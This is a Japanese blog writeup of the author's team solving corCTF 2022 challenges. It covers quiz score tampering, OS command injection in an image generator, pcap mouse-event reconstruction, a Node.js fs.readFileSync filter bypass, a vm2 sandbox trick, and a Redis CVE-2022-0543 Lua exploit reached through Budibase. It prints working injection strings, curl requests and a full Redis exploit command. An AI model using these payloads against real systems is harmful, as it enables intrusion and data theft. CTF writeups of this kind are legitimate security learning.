st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

corCTF 2022 writeup

8/6 - 8/8という日程で開催された。zer0ptsで参加して10位。独創的な問題がいっぱいで楽しかった。solves数の多い問題から見ていっていたので、実はWebの高難度帯の問題はほとんど見ていない。要復習だなあ。以下はwriteupだけれども、すでに作問者のBryceさんだったり、JazzPizazzさんだったりがすでにwriteupを公開されているのでただの焼き直しになりそう。

他のメンバーが書いたwrite-up:


[Web 104] jsonquiz (573 solves)

jsonquiz.be.ax というURLが与えられる。アクセスするとクイズが始まった。

真面目に答えるのも面倒なのでソースコードを確認したところ、/assets/js/quiz.js にクイズの終了時の処理っぽいものがあった。どれだけ正解しようが score = 0 で提出されてしまうようだ。

        let score = 0;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            if (j.pass) {
                $("#reward").innerText = j.flag;
                $("#pass").style.display = "block";
            }
            else {
                $("#fail").style.display = "block";
            }
        });

雑にデカいスコアを提出する。これでフラグが得られる。

{
        let score = 100;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            console.log(j);
        });
}
corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

[Web 109] msfrog-generator (280 solves)

msfrog-generator.be.ax というURLが与えられる。ソースコードはなし。アクセスするとこんな感じで絵文字でお絵描きして遊べる。

Generate というボタンを押すと /api/generate に以下のようなJSONがPOSTで飛んでいき、サーバ側で生成された画像が返ってくる。

[{"type":"mseyes.png","pos":{"x":26,"y":38}}]

Path TraversalかOS Command Injectionができるのではと考える。試しに type の値を ../app.py にしてみたところ、I wont pass a non existing image to a shell command lol というメッセージが返ってきた。パスは画像でないとダメらしい。

ならばと neko/../msdrops.png に変えてみたところ、以下のようなメッセージに変わった。

Something went wrong : b"convert-im6.q16: unable to open image `img/neko/../msdrops.png': No such file or directory @ error/blob.c/OpenBlob/2924.\nconvert-im6.q16: image sequence is required `-composite' @ error/mogrify.c/MogrifyImageList/7987.\nconvert-im6.q16: no images defined `png:-' @ error/convert.c/ConvertImageCommand/3229.\n"

neko;ls;a/../msdrops.png でOS Command Injectionができた。

{"msfrog": "fe\nimg\nserver.py\nwsgi.py\n"}

neko;cat /f*;a/../msdrops.png でフラグが得られる。

corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}

[Forensics 118] whack-a-frog (154 solves)

お絵描きアプリ再び。

マウスイベントが発生するたびに /anticheat?x=406&y=138&event=mouseup/anticheat?x=406&y=141&event=mousemove のようにHTTPリクエストが飛ぶようになっており、これでお絵描きしている様子をキャプチャした whacking-the-froggers.pcap というファイルが与えられる。

ScapyとPillowでなんとかする。

import re
from scapy.all import *
from PIL import Image

w, h = 1920, 1080
im = Image.new('1', (w, h), 1)
pix = im.load()

c = 1
for pkt in PcapReader('whacking-the-froggers.pcap'):
    pkt = bytes(pkt)
    if b'GET /anticheat' not in pkt:
        continue
    [(x, y, event)] = re.findall(rb'x=(\d+)&y=(\d+)&event=(\w+)', pkt)
    x, y = int(x), int(y)

    if event == b'mousedown':
        c = 0
    if event == b'mouseup':
        c = 1

    pix[x, y] = c

im.save('result.png')

実行するとフラグが得られた。

corctf{LILYXOX}

[Web 209] simplewaf (28 solves)

以下のようなソースコードと、これが動いているWebサーバへの接続情報が与えられる。flag という文字列が含まれていない限り、fs.readFileSync に好きな引数を与えることができるらしい。同じディレクトリに flag.txt があるからそれを読むだけだと思ってしまうが、フィルターに邪魔されてしまう。

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

fl%61g.txt を投げてもデコードしてくれないし、file:///app/fl%61g.txt のように file:// を頭につけてもやはりダメ。ほかになにか方法がないかNode.jsの公式ドキュメントを見に行ったところ、第一引数として string, Buffer, URL, integer のいずれかを受け入れることがわかった。なるほど、URL オブジェクトならばURLデコードによってフィルターをバイパスできそうだ。でも、引数として渡されるのは req.query.file とクエリパラメータ経由で与えられた値で、URL オブジェクトに変換できるような処理はされていないから無理なのでは?

> fs.readFileSync('file:///etc/passwd')
Uncaught Error: ENOENT: no such file or directory, open 'file:///etc/passwd'
    at Object.openSync (node:fs:585:3)
    at Object.readFileSync (node:fs:453:35) {
  errno: -2,
  syscall: 'open',
  code: 'ENOENT',
  path: 'file:///etc/passwd'
}
> fs.readFileSync(new URL('file:///etc/passwd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>
> fs.readFileSync(new URL('file:///etc/p%61sswd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>

ソースコードを見ないとできるかできないかはわからないので、fs.readFileSync の実装を見に行く。まず fs.openSync を呼んでファイルを開こうとするらしい。

  const isUserFd = isFd(path); // File descriptor ownership
  const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);

fs.openSync を見に行く。getValidatedPath なる関数を呼んでいる。

function openSync(path, flags, mode) {
  path = getValidatedPath(path);
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);

  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

getValidatedPath では toPathIfFileURL なる関数によって与えられたパスが file: プロトコルのURLであるか確認しているっぽい。

const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});

toPathIfFileURL の実装はこんな感じ。isURLInstance がtruthyであれば fileURLToPath という関数によってURLからファイルのパスに変換したものを返り値として返すらしい。

function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

では isURLInstance はどうやって引数が URL オブジェクトであると確認しているのか。実装を見てみると fileURLOrPath instanceof URL のように URLインスタンスであるか確認しているわけではなく、なんと hreforigin というプロパティが生えているかだけを確認しているようだった。もしかすると、req.query.file{"href":"…","origin":"…"} のようなオブジェクトにすればよいのかもしれない。深掘りしていく。

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

fileURLToPath はこのような実装になっている。もう一度引数を isURLInstance でチェックした後に、protocol プロパティが file: であるか確認している。そして getPathFromURLPosix でURLオブジェクトからパスを取得している。

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}

getPathFromURLPosix の実装を見る。hostname プロパティが空であるか確認した後に、pathname プロパティをURLデコードしてくれている。やったあ。

ということで、fs.readFileSync はドキュメントでは string, Buffer, URL, integer のいずれかしか第一引数として受け付けないと書かれていたけれども、実際は href, origin, protocol, hostname, pathname の5つのプロパティに適切な文字列が入っていればなんでもよいことがわかった。

function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

ローカルで試してみたところ、確かに動いている。

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

リモートで試すとフラグが得られた。

$ curl "https://web-simplewaf-1161f645fd6c1aa1.be.ax/?file[href]=
a&file[origin]=b&file[protocol]=file:&file[pathname]=fl%2561g.txt&file[hostname]"
corctf{hmm_th4t_waf_w4snt_s0_s1mple}

シンプルながらも解くにはよく調べる必要があって、こういう問題大好き。

[Misc 321] sbxcalc (11 solves)

最終的に通していたのはjskimさんだけれども、面白い問題だったのでメモしておく。以下のようなソースコードが与えられている。75文字以下かつ /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/ に当てはまっていなければならないという制限付きで好きなJavaScriptコードを実行できる。

Node.js備え付けの vm モジュールでなくわざわざ vm2 というライブラリを使っているあたり、サンドボックスから抜け出すなということだろう。

目的は flag という Proxy オブジェクトにある FLAG というプロパティに含まれているフラグを手に入れること。ただし、flagget というハンドラが nope という文字列を返す関数になっているので、単純に flag.FLAG のようにプロパティにアクセスしようとすれば nope が返ってきてしまう。

const express = require("express");
const vm2 = require("vm2");

const PORT = process.env.PORT || "4000";

const app = express();

app.set("view engine", "hbs");

// i guess you can have some Math functions...
let sandbox = Object.create(null);
["E", "PI", "sin", "cos", "tan", "log", "pow", "sqrt"].forEach(v => sandbox[v] = Math[v]);

// oh, and the flag too i guess...
sandbox.flag = new Proxy({ FLAG: process.env.FLAG || "corctf{test_flag}" }, {
    get: () => "nope" // :')
});

// no modifying the sandbox, please
sandbox = Object.freeze(sandbox);

app.get("/", (req, res) => {
    let output = "";
    let calc = req.query.calc;

    if (calc) {
        calc = `${calc}`;

        if(calc.length > 75) {
            output = "Error: calculation too long";
        }

        let whitelist = /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/; // this is a calculator sir
        if(!whitelist.test(calc)) {
            output = "Error: bad characters in calculation";
        }

        if(!output) {
            try {
                const vm = new vm2.VM({
                    timeout: 100,
                    eval: false,
                    sandbox,
                });
                output = `${vm.run(calc)}`;
                if (output.includes("corctf")) {
                    output = "Error: no.";
                }
            }
            catch (e) {
                console.log(e);
                output = "Error: error occurred";
            }
        }
    }

    res.render("index", { output, calc });
});

app.listen(PORT, () => console.log(`sbxcalc listening on ${PORT}`));

まずはどうやって flag.FLAG の値を手に入れるかというところから考える。sandbox.flag の初期化時に get ハンドラが与えられているけれども、getOwnPropertyDescriptor は与えられていない。Object.getOwnPropertyDescriptor(sandbox.flag, 'FLAG') してみると以下のようにプロパティディスクリプタ経由で得られることがわかった。

> Object.getOwnPropertyDescriptor(flag, 'FLAG')
{
  value: 'corctf{test_flag}',
  writable: true,
  enumerable: true,
  configurable: true
}

でも、フィルターによって .[]、文字列リテラルは使えない。どうやってプロパティにアクセスすればよいのだろう。悩んでいたところ、jskimさんが with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)value のように withを使うことを思いついた。なるほど with、頭から抜けていた。

これなら64文字で文字数制限に引っかからないと思ってしまうが、残念ながらもうちょっと頑張る必要がある。ソースコードをよく見ると、出力に corctf が含まれていた場合に弾かれてしまう。

                if (output.includes("corctf")) {
                    output = "Error: no.";
                }

なら with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)with(value)at(0) みたいに String.prototype.at で1文字ずつ取り出せばよいのではないかと考えたが、残念ながら at(0) の時点で75文字になってしまっている。11文字目以降はこのままでは取得できない。

最終的に、プロパティディスクリプタvalue プロパティにわざわざアクセスせず、with(Object)with(getOwnPropertyDescriptors(flag))with(values(FLAG)+E)at(0) のように Object.values(FLAG) でプロパティの値を配列化した後に、文字列に変換して String.prototype.at で1文字ずつ抽出する方法をjskimさんが思いついた。なるほど~~~~!

corctf{d0nt_you_just_l0ve_j4vascript?}

なんとなく、Harekaze mini CTF 2020で私が出題したProxy Sandboxやzer0pts CTF 2021で出題したKantan Calcという問題を思い出した。もしまたこういう感じの問題を出すのであれば、今度は vm2 を使うようにしたい。

[Misc 378] no(de)code (7 solves)

ローコードにアプリを開発できるBudibaseというプラットフォームで遊ぶ問題。チームごとにインスタンスが立てられるようになっていた。

適当にアプリを作って遊んでみていると、以下のように呼び出し可能なアクションとしてBashスクリプトが存在していることに気づいた。

以下のような感じで、cmd という引数を取ってBashスクリプトに渡すようなフローを作る。

実行するBashスクリプト{{ trigger.fields.cmd }} のようにすると、Budibaseがこれを渡された cmd に置換した上で実行してくれる。

アプリの編集画面右上に存在している Run test というボタンを押すと、以下のようにこのフローを実行できる。

試しに id を入力してみると、以下のように uid=0(root) gid=0(root) groups=0(root) と出力された。ちゃんとOSコマンドが実行できたようだ。

なにか怪しいファイルがないかなあと ls -la / してみると、/SECURITY.txt なるファイルが見つかった。

total 80
drwxr-xr-x   1 root root 4096 Aug  8 16:36 .
drwxr-xr-x   1 root root 4096 Aug  8 16:36 ..
-rw-r--r--   1 root root  113 Aug  7 01:52 SECURITY.txt
drwxr-xr-x   1 root root 4096 Aug  4 14:43 app
drwxr-xr-x   2 root root 4096 Aug  1 00:00 bin
drwxr-xr-x   2 root root 4096 Mar 19 13:44 boot
drwxr-xr-x   5 root root  360 Aug  8 16:36 dev
drwxr-xr-x   1 root root 4096 Aug  8 16:36 etc
drwxr-xr-x   1 root root 4096 Aug  2 05:22 home
drwxr-xr-x   1 root root 4096 Aug  4 14:43 lib
drwxr-xr-x   2 root root 4096 Aug  1 00:00 lib64
drwxr-xr-x   2 root root 4096 Aug  1 00:00 media
drwxr-xr-x   2 root root 4096 Aug  1 00:00 mnt
drwxr-xr-x   1 root root 4096 Aug  4 14:44 opt
dr-xr-xr-x 344 root root    0 Aug  8 16:36 proc
drwx------   1 root root 4096 Aug  8 16:36 root
drwxr-xr-x   3 root root 4096 Aug  1 00:00 run
drwxr-xr-x   2 root root 4096 Aug  1 00:00 sbin
drwxr-xr-x   2 root root 4096 Aug  1 00:00 srv
dr-xr-xr-x  13 root root    0 Aug  8 16:36 sys
drwxrwxrwt   1 root root 4096 Aug  8 16:36 tmp
drwxr-xr-x   1 root root 4096 Aug  1 00:00 usr
drwxr-xr-x   1 root root 4096 Aug  1 00:00 var

中身は以下のような感じ。別に動いているRedisのコンテナに、ファイルとしてなにか価値のあるもの(フラグだろう)が含まれているらしい。

- Remove that file containing valuable contents from the Redis container
- Check environment variables for leaks

環境変数もチェックするとよさそうなので printenv を実行してみる。200個以上の環境変数があってアレだけれども、printenv | grep REDIS で絞ってみるとRedisサーバに接続できるパスワードやホスト名が手に入った。

REDIS_PASSWORD=rI1W4PDBWcS2oGe3jcWXvtH8
REDIS_VERSION=5.0.7-2ubuntu
REDIS_URL=redis-service:6379

BudibaseにはRedisと連携できる機能もある。以下のようにアプリの作成時にRedisを選択し、手に入れたホスト名やパスワードを入力する。

以下のように好きなRedisのコマンドを実行できる。環境変数によればRedisのバージョンは5.0.7-2だからCVE-2022-0543が使えるかもしれないと思うが、なぜか EVAL "return 123" 0 のようなコマンドがここからは実行できない。

Bashスクリプトなりなんなりを使って直接Redisサーバに接続し、インラインコマンドを送ってみるのはどうか。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write('AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"return 123\" 0\r\n') }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

実行すると 123 が返ってきた。直接Redisサーバを叩くなら EVAL が使えるようだ。なんで?

+OK
:123

CVE-2022-0543を試してみる。ググって出てきたコードを持ってきて、Redisコンテナ上で好きなOSコマンドが実行できるRedisコマンドを出力してくれるスクリプトを書く。

pw = 'rI1W4PDBWcS2oGe3jcWXvtH8'
code = """
local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res
""".strip()

s = f'''node -e "const net = require('net'); const c=net.createConnection({{ host: 'redis-service', port: 6379 }}, () => {{ c.write(\\`AUTH {pw}\\r\\nEVAL \\"{code}\\" 0\\r\\n\\`) }}); c.on('data',d=>{{console.log(d.toString()); c.end(); }})"'''
print(s)

出力された以下のOSコマンドを実行する。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write(\`AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res\" 0\r\n\`) }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

これでフラグが得られた。

corctf{b4sh_and_n0d3JS_c4n_sp34k_r3dis_too!!}

という感じで書くと簡単な問題に見えるけれども、途中で迷いに迷っていたのでこの問題に取り組み始めてからフラグを得るまでに5時間ぐらいかかった。crusader@cor.ctf というadminのユーザがいることに気づいて、これを乗っ取る必要があるのかと思って色々試していたけれどもダメ。CONFIG SET … でファイルを書き込もうにもなんか動かないし、SLAVEOF もアウトバウンドな通信が制限されているっぽいので面倒だし。幸いにも SECURITY.txt があることは早いうちに確認できていたし、CVE-2022-0543もRedisが使われているのを見てまず思いついていたので、途中で軌道修正できた。